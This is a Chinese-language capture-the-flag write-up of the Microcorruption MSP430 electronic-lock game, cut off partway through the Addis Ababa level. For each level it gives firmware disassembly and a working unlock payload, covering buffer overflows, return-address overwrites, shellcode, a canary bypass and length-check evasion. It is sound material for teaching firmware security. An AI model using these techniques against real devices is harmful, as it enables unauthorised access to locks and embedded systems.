在web上即可体验的 iot PWN (MSP MCU),给了一个很具体的设定以及对应的硬件手册,可以快速聚焦到固件安全,值得一玩的电子锁开锁游戏

手册 https://microcorruption.com/manual.pdf

工具 https://microcorruption.com/assembler

MSP430汇编指令集 - MSP430™16 位超低功耗 MCU - 文件中心 - E2E™ 中文支持论坛 (ti.com)

[0x00] Tutorial - 10pts

介绍WEB上的调试界面,略

F12大致看了一下,是在后端运行的固件,然后发送cmd会返回更新的状态,再渲染到前端上,不过不知道是用的是不是qemu模拟,要把几个陷门中断全部接管到web后端程序上,感觉真在板子上实现的话多少有点麻烦

[0x01] New Orleans - 10pts

Lockitall                                            LOCKIT PRO r a.01
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev a.01              
______________________________________________________________________


OVERVIEW

    - This is the first LockIT Pro Lock.
    - This lock is not attached to any hardware security module.


DETAILS

    The LockIT Pro a.01  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There is  no default password  on the LockIT  Pro---upon receiving
    the LockIT Pro, a new password must be set by connecting it to the
    LockIT Pro  App and  entering a password  when prompted,  and then
    restarting the LockIT Pro using the red button on the back.
    
    This is Hardware  Version A.  It contains  the Bluetooth connector
    built in, and one available port  to which the LockIT Pro Deadbolt
    should be connected.

    This is Software Revision 01.

(c) 2013 LOCKITALL                                            Page 1/1

依旧输密码开锁,找到check_password,可以看到是逐位和0x2400上的字符串比较,长度8

44bc <check_password>
44bc:  0e43           clr	r14
44be:  0d4f           mov	r15, r13
44c0:  0d5e           add	r14, r13
44c2:  ee9d 0024      cmp.b	@r13, 0x2400(r14)
44c6:  0520           jne	#0x44d2 <check_password+0x16>
44c8:  1e53           inc	r14
44ca:  3e92           cmp	#0x8, r14
44cc:  f823           jne	#0x44be <check_password+0x2>
44ce:  1f43           mov	#0x1, r15
44d0:  3041           ret
44d2:  0f43           clr	r15
44d4:  3041           ret

查看内存dump

0160:   *
2400:   2262 5769 4d45 3800 0000 0000 0000 0000   "bWiME8.........
2410:   *
4380:   0000 0000 0000 0000 0000 0000 4445 0000   ............DE..
4390:   8e45 0200 9c43 6400 ba44 5444 7061 7373   .E...Cd..DTDpass
43a0:   776f 7264 0000 0000 0000 0000 0000 0000   word............
43b0:   *

拿到密码 "bWiME8 成功unlock

[0x02] Sydney - 15pts

Lockitall                                            LOCKIT PRO r a.02
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev a.02              
______________________________________________________________________


OVERVIEW

    - We have revised the software in revision 02.
    - This lock is not attached to any hardware security module.


DETAILS

    The LockIT Pro a.02  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There is  no default password  on the LockIT  Pro---upon receiving
    the LockIT Pro, a new password must be set by connecting it to the
    LockIT Pro  App and  entering a password  when prompted,  and then
    restarting the LockIT Pro using the red button on the back.
    
    This is Hardware  Version A.  It contains  the Bluetooth connector
    built in, and one available port  to which the LockIT Pro Deadbolt
    should be connected.

    This is  Software Revision 02.  We have received reports  that the
    prior  version of  the  lock was  bypassable  without knowing  the
    password. We have fixed this and removed the password from memory.

    


(c) 2013 LOCKITALL                                            Page 1/1

还是直接看check_password

448a <check_password>
448a:  bf90 4b7a 0000 cmp	#0x7a4b, 0x0(r15)
4490:  0d20           jnz	$+0x1c
4492:  bf90 314c 0200 cmp	#0x4c31, 0x2(r15)
4498:  0920           jnz	$+0x14
449a:  bf90 2d52 0400 cmp	#0x522d, 0x4(r15)
44a0:  0520           jne	#0x44ac <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 2b74 0600 cmp	#0x742b, 0x6(r15)
44aa:  0124           jeq	#0x44ae <check_password+0x24>
44ac:  0e43           clr	r14
44ae:  0f4e           mov	r14, r15
44b0:  3041           ret

看着是和立即数直接比较

0x7a4b
0x4c31
0x522d
0x742b

但是直接输入zKL1R-t+发现不能unlock

于是查了一下msp的字节序,默认是little-end,手动反转下输入

Kz1L-R+t

[0x03] Hanoi - 20pts

bof

Lockitall                                            LOCKIT PRO r b.01
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev b.01              
______________________________________________________________________


OVERVIEW

    - This lock is attached the the LockIT Pro HSM-1.
    - We have updated  the lock firmware  to connect with the hardware
      security module.


DETAILS

    The LockIT Pro b.01  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There  is no  default  password  on the  LockIT  Pro HSM-1.   Upon
    receiving the  LockIT Pro,  a new  password must  be set  by first
    connecting the LockitPRO HSM to  output port two, connecting it to
    the LockIT Pro App, and entering a new password when prompted, and
    then restarting the LockIT Pro using the red button on the back.

    LockIT Pro Hardware  Security Module 1 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-1  a password, and the
    HSM will  return if the password  is correct by setting  a flag in
    memory.
    
    This is Hardware  Version B.  It contains  the Bluetooth connector
    built in, and two available  ports: the LockIT Pro Deadbolt should
    be  connected to  port  1,  and the  LockIT  Pro  HSM-1 should  be
    connected to port 2.

    This is Software Revision 01,  allowing it to communicate with the
    LockIT Pro HSM-1

    


(c) 2013 LOCKITALL                                            Page 1/1
4454 <test_password_valid>
4454:  0412           push	r4
4456:  0441           mov	sp, r4
4458:  2453           incd	r4
445a:  2183           decd	sp
445c:  c443 fcff      mov.b	#0x0, -0x4(r4)
4460:  3e40 fcff      mov	#0xfffc, r14
4464:  0e54           add	r4, r14
4466:  0e12           push	r14
4468:  0f12           push	r15
446a:  3012 7d00      push	#0x7d
446e:  b012 7a45      call	#0x457a <INT>
4472:  5f44 fcff      mov.b	-0x4(r4), r15
4476:  8f11           sxt	r15
4478:  3152           add	#0x8, sp
447a:  3441           pop	r4
447c:  3041           ret
4520 <login>
4520:  c243 1024      mov.b	#0x0, &0x2410
4524:  3f40 7e44      mov	#0x447e "Enter the password to continue.", r15
4528:  b012 de45      call	#0x45de <puts>
452c:  3f40 9e44      mov	#0x449e "Remember: passwords are between 8 and 16 characters.", r15
4530:  b012 de45      call	#0x45de <puts>
4534:  3e40 1c00      mov	#0x1c, r14
4538:  3f40 0024      mov	#0x2400, r15
453c:  b012 ce45      call	#0x45ce <getsn>
4540:  3f40 0024      mov	#0x2400, r15
4544:  b012 5444      call	#0x4454 <test_password_valid>
4548:  0f93           tst	r15
454a:  0324           jz	$+0x8
454c:  f240 0500 1024 mov.b	#0x5, &0x2410
4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 c900 1024 cmp.b	#0xc9, &0x2410
4560:  0720           jne	#0x4570 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>
456a:  b012 4844      call	#0x4448 <unlock_door>
456e:  3041           ret
4570:  3f40 0145      mov	#0x4501 "That password is not correct.", r15
4574:  b012 de45      call	#0x45de <puts>
4578:  3041           ret

从login看,先是读取了0x1c个字符到0x2400的位置,然后test_password_valid,最后如果0x2410的字符是c9即可,test_password_valid看起来就是所说的调用外部模块的部分,调试发现对我们的输入没啥影响

455a:  f290 c900 1024 cmp.b	#0xc9, &0x2410

直接hex模式构造输入

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c9

[0x04] Cusco - 25pts

ret2text

Lockitall                                            LOCKIT PRO r b.02
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev b.02              
______________________________________________________________________


OVERVIEW

    - We have fixed issues with passwords which may be too long.
    - This lock is attached the the LockIT Pro HSM-1.


DETAILS

    The LockIT Pro b.02  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There  is no  default  password  on the  LockIT  Pro HSM-1.   Upon
    receiving the  LockIT Pro,  a new  password must  be set  by first
    connecting the LockitPRO HSM to  output port two, connecting it to
    the LockIT Pro App, and entering a new password when prompted, and
    then restarting the LockIT Pro using the red button on the back.
    
    LockIT Pro Hardware  Security Module 1 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-1  a password, and the
    HSM will  return if the password  is correct by setting  a flag in
    memory.
    
    This is Hardware  Version B.  It contains  the Bluetooth connector
    built in, and two available  ports: the LockIT Pro Deadbolt should
    be  connected to  port  1,  and the  LockIT  Pro  HSM-1 should  be
    connected to port 2.

    This is Software Revision 02. We have improved the security of the
    lock by  removing a conditional  flag that could  accidentally get
    set by passwords that were too long.

    


(c) 2013 LOCKITALL                                            Page 1/1

login有一些改动,判断r15不为0,那就不能用前面的方法了

但是我们可以看到读入password的位置放到了栈上,没开辟对应空间的情况下直接读入了0x30个字节,直接覆盖返回地址到unlock上

4500 <login>
4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
4508:  b012 a645      call	#0x45a6 <puts>
450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>
451e:  0f41           mov	sp, r15
4520:  b012 5244      call	#0x4452 <test_password_valid>
4524:  0f93           tst	r15
4526:  0524           jz	#0x4532 <login+0x32>
4528:  b012 4644      call	#0x4446 <unlock_door>
452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
4530:  023c           jmp	#0x4536 <login+0x36>
4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4536:  b012 a645      call	#0x45a6 <puts>
453a:  3150 1000      add	#0x10, sp
453e:  3041           ret

动调确定偏移,构造payload

0000 0000 0000 0000 0000 0000 0000 0000 2845

[0x05] Reykjavik - 35pts

smc

Lockitall                                            LOCKIT PRO r a.03
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev a.03              
______________________________________________________________________


OVERVIEW

    - Lockitall developers  have implemented  military-grade on-device
      encryption to keep the password secure.
    - This lock is not attached to any hardware security module.


DETAILS

    The LockIT Pro a.03  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There is  no default password  on the LockIT  Pro---upon receiving
    the LockIT Pro, a new password must be set by connecting it to the
    LockIT Pro  App and  entering a password  when prompted,  and then
    restarting the LockIT Pro using the red button on the back.
    
    This is Hardware  Version A.  It contains  the Bluetooth connector
    built in, and one available port  to which the LockIT Pro Deadbolt
    should be connected.

    This is Software Revision 02. This release contains military-grade
    encryption so users can be confident that the passwords they enter
    can not be read from memory.   We apologize for making it too easy
    for the password to be recovered on prior versions.  The engineers
    responsible have been sacked.

    


(c) 2013 LOCKITALL                                            Page 1/1

进来之后发现有个enc函数自解密

b 444a下断在 call #0x2400 ,把0x2400的数据dump出来 disassemble

0b12           push	r11
0412           push	r4
0441           mov	sp, r4
2452           add	#0x4, r4
3150 e0ff      add	#0xffe0, sp
3b40 2045      mov	#0x4520, r11
073c           jmp	$+0x10
1b53           inc	r11
8f11           sxt	r15
0f12           push	r15
0312           push	#0x0
b012 6424      call	#0x2464
2152           add	#0x4, sp
6f4b           mov.b	@r11, r15
4f93           tst.b	r15
f623           jnz	$-0x12
3012 0a00      push	#0xa
0312           push	#0x0
b012 6424      call	#0x2464
2152           add	#0x4, sp
3012 1f00      push	#0x1f
3f40 dcff      mov	#0xffdc, r15
0f54           add	r4, r15
0f12           push	r15
2312           push	#0x2
b012 6424      call	#0x2464
3150 0600      add	#0x6, sp
b490 9c8e dcff cmp	#0x8e9c, -0x24(r4)
0520           jnz	$+0xc
3012 7f00      push	#0x7f
b012 6424      call	#0x2464
2153           incd	sp
3150 2000      add	#0x20, sp
3441           pop	r4
3b41           pop	r11
3041           ret

对照着看,可以发现核心判断是 cmp #0x8e9c, -0x24(r4)

所以密钥就是 hex9c8e

[0x06] Whitehorse - 50pts

ret2shellcode

44f4 <login>
44f4:  3150 f0ff      add	#0xfff0, sp
44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
44fc:  b012 9645      call	#0x4596 <puts>
4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 9645      call	#0x4596 <puts>
4508:  3e40 3000      mov	#0x30, r14
450c:  0f41           mov	sp, r15
450e:  b012 8645      call	#0x4586 <getsn>
4512:  0f41           mov	sp, r15
4514:  b012 4644      call	#0x4446 <conditional_unlock_door>
4518:  0f93           tst	r15
451a:  0324           jz	#0x4522 <login+0x2e>
451c:  3f40 c544      mov	#0x44c5 "Access granted.", r15
4520:  023c           jmp	#0x4526 <login+0x32>
4522:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
4526:  b012 9645      call	#0x4596 <puts>
452a:  3150 1000      add	#0x10, sp
452e:  3041           ret

还是栈溢出0x30字节但是程序里没有现成可用的unlock

根据Lock手册

This enables the CPU to trigger software interrupt 0x7F to directly trigger
the door lock to unlock.

可知调用 INT 0x7f 可用直接解锁

用assemble编译shellcode如下,然后

3012 7f00      push	#0x7f
b012 3245      call	#0x4532

覆盖返回地址到栈上的shellcode

3012 7f00 b012 3245 0000 0000 0000 0000 0042

[0x07] Montevideo - 50pts

stack

44f4 <login>
44f4:  3150 f0ff      add	#0xfff0, sp
44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
44fc:  b012 b045      call	#0x45b0 <puts>
4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 b045      call	#0x45b0 <puts>
4508:  3e40 3000      mov	#0x30, r14
450c:  3f40 0024      mov	#0x2400, r15
4510:  b012 a045      call	#0x45a0 <getsn>
4514:  3e40 0024      mov	#0x2400, r14
4518:  0f41           mov	sp, r15
451a:  b012 dc45      call	#0x45dc <strcpy>
451e:  3d40 6400      mov	#0x64, r13
4522:  0e43           clr	r14
4524:  3f40 0024      mov	#0x2400, r15
4528:  b012 f045      call	#0x45f0 <memset>
452c:  0f41           mov	sp, r15
452e:  b012 4644      call	#0x4446 <conditional_unlock_door>
4532:  0f93           tst	r15
4534:  0324           jz	#0x453c <login+0x48>
4536:  3f40 c544      mov	#0x44c5 "Access granted.", r15
453a:  023c           jmp	#0x4540 <login+0x4c>
453c:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
4540:  b012 b045      call	#0x45b0 <puts>
4544:  3150 1000      add	#0x10, sp
4548:  3041           ret

中间调用了strcpy,payload不能出现0x00

那就直接返回到INT,直接布置对应的参数为0x7f

payload=b'a'*16+p16(INT_addr)+p16(junk)+p8(0x7f)

得到payload

6161 6161 6161 6161 6161 6161 6161 6161 4c45 6161 7f

[0x08] Johannesburg - 20pts

bypass baby canary

452c <login>
452c:  3150 eeff      add	#0xffee, sp
4530:  f140 b200 1100 mov.b	#0xb2, 0x11(sp)
4536:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
453a:  b012 f845      call	#0x45f8 <puts>
453e:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4542:  b012 f845      call	#0x45f8 <puts>
4546:  3e40 3f00      mov	#0x3f, r14
454a:  3f40 0024      mov	#0x2400, r15
454e:  b012 e845      call	#0x45e8 <getsn>
4552:  3e40 0024      mov	#0x2400, r14
4556:  0f41           mov	sp, r15
4558:  b012 2446      call	#0x4624 <strcpy>
455c:  0f41           mov	sp, r15
455e:  b012 5244      call	#0x4452 <test_password_valid>
4562:  0f93           tst	r15
4564:  0524           jz	#0x4570 <login+0x44>
4566:  b012 4644      call	#0x4446 <unlock_door>
456a:  3f40 d144      mov	#0x44d1 "Access granted.", r15
456e:  023c           jmp	#0x4574 <login+0x48>
4570:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4574:  b012 f845      call	#0x45f8 <puts>
4578:  f190 b200 1100 cmp.b	#0xb2, 0x11(sp)
457e:  0624           jeq	#0x458c <login+0x60>
4580:  3f40 ff44      mov	#0x44ff "Invalid Password Length: password too long.", r15
4584:  b012 f845      call	#0x45f8 <puts>
4588:  3040 3c44      br	#0x443c <__stop_progExec__>
458c:  3150 1200      add	#0x12, sp
4590:  3041           ret

还是strcpy溢出,但是返回前加了简单的check

4578:  f190 b200 1100 cmp.b	#0xb2, 0x11(sp)
457e:  0624           jeq	#0x458c <login+0x60>
4580:  3f40 ff44      mov	#0x44ff "Invalid Password Length: password too long.", r15
4584:  b012 f845      call	#0x45f8 <puts>
4588:  3040 3c44      br	#0x443c <__stop_progExec__>

在对应位保证是0xb2即可,正常ret2text

6161 6161 6161 6161 6161 6161 6161 6161 b2b2 4644

[0x09] Santa Cruz - 50pts

bypass length check

4550 <login>
4550:  0b12           push	r11
4552:  0412           push	r4
4554:  0441           mov	sp, r4
4556:  2452           add	#0x4, r4
4558:  3150 d8ff      add	#0xffd8, sp
455c:  c443 faff      mov.b	#0x0, -0x6(r4)
4560:  f442 e7ff      mov.b	#0x8, -0x19(r4)
4564:  f440 1000 e8ff mov.b	#0x10, -0x18(r4)
456a:  3f40 8444      mov	#0x4484 "Authentication now requires a username and password.", r15
456e:  b012 2847      call	#0x4728 <puts>
4572:  3f40 b944      mov	#0x44b9 "Remember: both are between 8 and 16 characters.", r15
4576:  b012 2847      call	#0x4728 <puts>
457a:  3f40 e944      mov	#0x44e9 "Please enter your username:", r15
457e:  b012 2847      call	#0x4728 <puts>
4582:  3e40 6300      mov	#0x63, r14
4586:  3f40 0424      mov	#0x2404, r15
458a:  b012 1847      call	#0x4718 <getsn>
458e:  3f40 0424      mov	#0x2404, r15
4592:  b012 2847      call	#0x4728 <puts>
4596:  3e40 0424      mov	#0x2404, r14
459a:  0f44           mov	r4, r15
459c:  3f50 d6ff      add	#0xffd6, r15
45a0:  b012 5447      call	#0x4754 <strcpy>
45a4:  3f40 0545      mov	#0x4505 "Please enter your password:", r15
45a8:  b012 2847      call	#0x4728 <puts>
45ac:  3e40 6300      mov	#0x63, r14
45b0:  3f40 0424      mov	#0x2404, r15
45b4:  b012 1847      call	#0x4718 <getsn>
45b8:  3f40 0424      mov	#0x2404, r15
45bc:  b012 2847      call	#0x4728 <puts>
45c0:  0b44           mov	r4, r11
45c2:  3b50 e9ff      add	#0xffe9, r11
45c6:  3e40 0424      mov	#0x2404, r14
45ca:  0f4b           mov	r11, r15
45cc:  b012 5447      call	#0x4754 <strcpy>
45d0:  0f4b           mov	r11, r15
45d2:  0e44           mov	r4, r14
45d4:  3e50 e8ff      add	#0xffe8, r14
45d8:  1e53           inc	r14
45da:  ce93 0000      tst.b	0x0(r14)
45de:  fc23           jnz	#0x45d8 <login+0x88>
45e0:  0b4e           mov	r14, r11
45e2:  0b8f           sub	r15, r11
45e4:  5f44 e8ff      mov.b	-0x18(r4), r15
45e8:  8f11           sxt	r15
45ea:  0b9f           cmp	r15, r11
45ec:  0628           jnc	#0x45fa <login+0xaa>
45ee:  1f42 0024      mov	&0x2400, r15
45f2:  b012 2847      call	#0x4728 <puts>
45f6:  3040 4044      br	#0x4440 <__stop_progExec__>
45fa:  5f44 e7ff      mov.b	-0x19(r4), r15
45fe:  8f11           sxt	r15
4600:  0b9f           cmp	r15, r11
4602:  062c           jc	#0x4610 <login+0xc0>
4604:  1f42 0224      mov	&0x2402, r15
4608:  b012 2847      call	#0x4728 <puts>
460c:  3040 4044      br	#0x4440 <__stop_progExec__>
4610:  c443 d4ff      mov.b	#0x0, -0x2c(r4)
4614:  3f40 d4ff      mov	#0xffd4, r15
4618:  0f54           add	r4, r15
461a:  0f12           push	r15
461c:  0f44           mov	r4, r15
461e:  3f50 e9ff      add	#0xffe9, r15
4622:  0f12           push	r15
4624:  3f50 edff      add	#0xffed, r15
4628:  0f12           push	r15
462a:  3012 7d00      push	#0x7d
462e:  b012 c446      call	#0x46c4 <INT>
4632:  3152           add	#0x8, sp
4634:  c493 d4ff      tst.b	-0x2c(r4)
4638:  0524           jz	#0x4644 <login+0xf4>
463a:  b012 4a44      call	#0x444a <unlock_door>
463e:  3f40 2145      mov	#0x4521 "Access granted.", r15
4642:  023c           jmp	#0x4648 <login+0xf8>
4644:  3f40 3145      mov	#0x4531 "That password is not correct.", r15
4648:  b012 2847      call	#0x4728 <puts>
464c:  c493 faff      tst.b	-0x6(r4)
4650:  0624           jz	#0x465e <login+0x10e>
4652:  1f42 0024      mov	&0x2400, r15
4656:  b012 2847      call	#0x4728 <puts>
465a:  3040 4044      br	#0x4440 <__stop_progExec__>
465e:  3150 2800      add	#0x28, sp
4662:  3441           pop	r4
4664:  3b41           pop	r11
4666:  3041           ret

核心逻辑如下

455c:  c443 faff      mov.b	#0x0, -0x6(r4)
4560:  f442 e7ff      mov.b	#0x8, -0x19(r4)
4564:  f440 1000 e8ff mov.b	#0x10, -0x18(r4)
...
45e4:  5f44 e8ff      mov.b	-0x18(r4), r15
45e8:  8f11           sxt	r15
45ea:  0b9f           cmp	r15, r11
45ec:  0628           jnc	#0x45fa <login+0xaa>
45ee:  1f42 0024      mov	&0x2400, r15
45f2:  b012 2847      call	#0x4728 <puts>
45f6:  3040 4044      br	#0x4440 <__stop_progExec__>
45fa:  5f44 e7ff      mov.b	-0x19(r4), r15
45fe:  8f11           sxt	r15
4600:  0b9f           cmp	r15, r11
4602:  062c           jc	#0x4610 <login+0xc0>
4604:  1f42 0224      mov	&0x2402, r15
4608:  b012 2847      call	#0x4728 <puts>
460c:  3040 4044      br	#0x4440 <__stop_progExec__>
...
464c:  c493 faff      tst.b	-0x6(r4)
4650:  0624           jz	#0x465e <login+0x10e>
4652:  1f42 0024      mov	&0x2400, r15
4656:  b012 2847      call	#0x4728 <puts>
465a:  3040 4044      br	#0x4440 <__stop_progExec__>

到达溢出前约束为

r11=length
-0x18(r4) > length
-0x19(r4) < length
-0x6(r4) == 0

通过strcpy的溢出直接修改对应位置的变量即可

username: 6161 6161 6161 6161 6161 6161 6161 6161 6101 ff61 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 4a44
password: 6161 6161 6161 6161 6161 6161 6161 6161 61

[0x0a] Jakarta - 40pts

bypass length check again

4560 <login>
4560:  0b12           push	r11
4562:  3150 deff      add	#0xffde, sp
4566:  3f40 8244      mov	#0x4482 "Authentication requires a username and password.", r15
456a:  b012 c846      call	#0x46c8 <puts>
456e:  3f40 b344      mov	#0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572:  b012 c846      call	#0x46c8 <puts>
4576:  3f40 fa44      mov	#0x44fa "Please enter your username:", r15
457a:  b012 c846      call	#0x46c8 <puts>
457e:  3e40 ff00      mov	#0xff, r14
4582:  3f40 0224      mov	#0x2402, r15
4586:  b012 b846      call	#0x46b8 <getsn>
458a:  3f40 0224      mov	#0x2402, r15
458e:  b012 c846      call	#0x46c8 <puts>
4592:  3f40 0124      mov	#0x2401, r15
4596:  1f53           inc	r15
4598:  cf93 0000      tst.b	0x0(r15)
459c:  fc23           jnz	#0x4596 <login+0x36>
459e:  0b4f           mov	r15, r11
45a0:  3b80 0224      sub	#0x2402, r11
45a4:  3e40 0224      mov	#0x2402, r14
45a8:  0f41           mov	sp, r15
45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	#0x45c0 <login+0x60>
45b4:  1f42 0024      mov	&0x2400, r15
45b8:  b012 c846      call	#0x46c8 <puts>
45bc:  3040 4244      br	#0x4442 <__stop_progExec__>
45c0:  3f40 1645      mov	#0x4516 "Please enter your password:", r15
45c4:  b012 c846      call	#0x46c8 <puts>
45c8:  3e40 1f00      mov	#0x1f, r14
45cc:  0e8b           sub	r11, r14
45ce:  3ef0 ff01      and	#0x1ff, r14
45d2:  3f40 0224      mov	#0x2402, r15
45d6:  b012 b846      call	#0x46b8 <getsn>
45da:  3f40 0224      mov	#0x2402, r15
45de:  b012 c846      call	#0x46c8 <puts>
45e2:  3e40 0224      mov	#0x2402, r14
45e6:  0f41           mov	sp, r15
45e8:  0f5b           add	r11, r15
45ea:  b012 f446      call	#0x46f4 <strcpy>
45ee:  3f40 0124      mov	#0x2401, r15
45f2:  1f53           inc	r15
45f4:  cf93 0000      tst.b	0x0(r15)
45f8:  fc23           jnz	#0x45f2 <login+0x92>
45fa:  3f80 0224      sub	#0x2402, r15
45fe:  0f5b           add	r11, r15
4600:  7f90 2100      cmp.b	#0x21, r15
4604:  0628           jnc	#0x4612 <login+0xb2>
4606:  1f42 0024      mov	&0x2400, r15
460a:  b012 c846      call	#0x46c8 <puts>
460e:  3040 4244      br	#0x4442 <__stop_progExec__>
4612:  0f41           mov	sp, r15
4614:  b012 5844      call	#0x4458 <test_username_and_password_valid>
4618:  0f93           tst	r15
461a:  0524           jz	#0x4626 <login+0xc6>
461c:  b012 4c44      call	#0x444c <unlock_door>
4620:  3f40 3245      mov	#0x4532 "Access granted.", r15
4624:  023c           jmp	#0x462a <login+0xca>
4626:  3f40 4245      mov	#0x4542 "That password is not correct.", r15
462a:  b012 c846      call	#0x46c8 <puts>
462e:  3150 2200      add	#0x22, sp
4632:  3b41           pop	r11
4634:  3041           ret
4458 <test_username_and_password_valid>
4458:  0412           push	r4
445a:  0441           mov	sp, r4
445c:  2453           incd	r4
445e:  2183           decd	sp
4460:  c443 fcff      mov.b	#0x0, -0x4(r4)
4464:  3e40 fcff      mov	#0xfffc, r14
4468:  0e54           add	r4, r14
446a:  0e12           push	r14
446c:  0f12           push	r15
446e:  3012 7d00      push	#0x7d
4472:  b012 6446      call	#0x4664 <INT>
4476:  5f44 fcff      mov.b	-0x4(r4), r15
447a:  8f11           sxt	r15
447c:  3152           add	#0x8, sp
447e:  3441           pop	r4
4480:  3041           ret

溢出部分和前面类似,但是增加了对长度的check

45aa:  b012 f446      call	#0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b	#0x21, r11
45b2:  0628           jnc	#0x45c0 <login+0x60>
45b4:  1f42 0024      mov	&0x2400, r15
45b8:  b012 c846      call	#0x46c8 <puts>
45bc:  3040 4244      br	#0x4442 <__stop_progExec__>
...
4600:  7f90 2100      cmp.b	#0x21, r15
4604:  0628           jnc	#0x4612 <login+0xb2>
4606:  1f42 0024      mov	&0x2400, r15
460a:  b012 c846      call	#0x46c8 <puts>
460e:  3040 4244      br	#0x4442 <__stop_progExec__>

也就是username和password加起来不能超过0x20,但是覆盖到ret需要0x24的padding

利用cmp.b只比较低位,写入0x100的话低位就是0x00,过检查轻轻松

布局如下

0000: 6161 #username
...
0020: 6161
...        #password
0024: 6161
0028: 4c44
...
0100: 6161
username='a'*0x20
password=(b'a'*4+p16(unlock_addr)).ljust(0x100-0x20,b'a')

username:
6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161
password:
6161 6161 4c44 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161 6161

[0x0b] Addis Ababa - 50pts

fmt vul

4438 <main>
4438:  3150 eaff      add	#0xffea, sp
443c:  8143 0000      clr	0x0(sp)
4440:  3012 e644      push	#0x44e6 "Login with username:password below to authenticate.\n"
4444:  b012 c845      call	#0x45c8 <printf>
4448:  b140 1b45 0000 mov	#0x451b ">> ", 0x0(sp)
444e:  b012 c845      call	#0x45c8 <printf>
4452:  2153           incd	sp
4454:  3e40 1300      mov	#0x13, r14
4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8c45      call	#0x458c <getsn>
4460:  0b41           mov	sp, r11
4462:  2b53           incd	r11
4464:  3e40 0024      mov	#0x2400, r14
4468:  0f4b           mov	r11, r15
446a:  b012 de46      call	#0x46de <strcpy>
446e:  3f40 0024      mov	#0x2400, r15
4472:  b012 b044      call	#0x44b0 <test_password_valid>
4476:  814f 0000      mov	r15, 0x0(sp)
447a:  0b12           push	r11
447c:  b012 c845      call	#0x45c8 <printf>
4480:  2153           incd	sp
4482:  3f40 0a00      mov	#0xa, r15
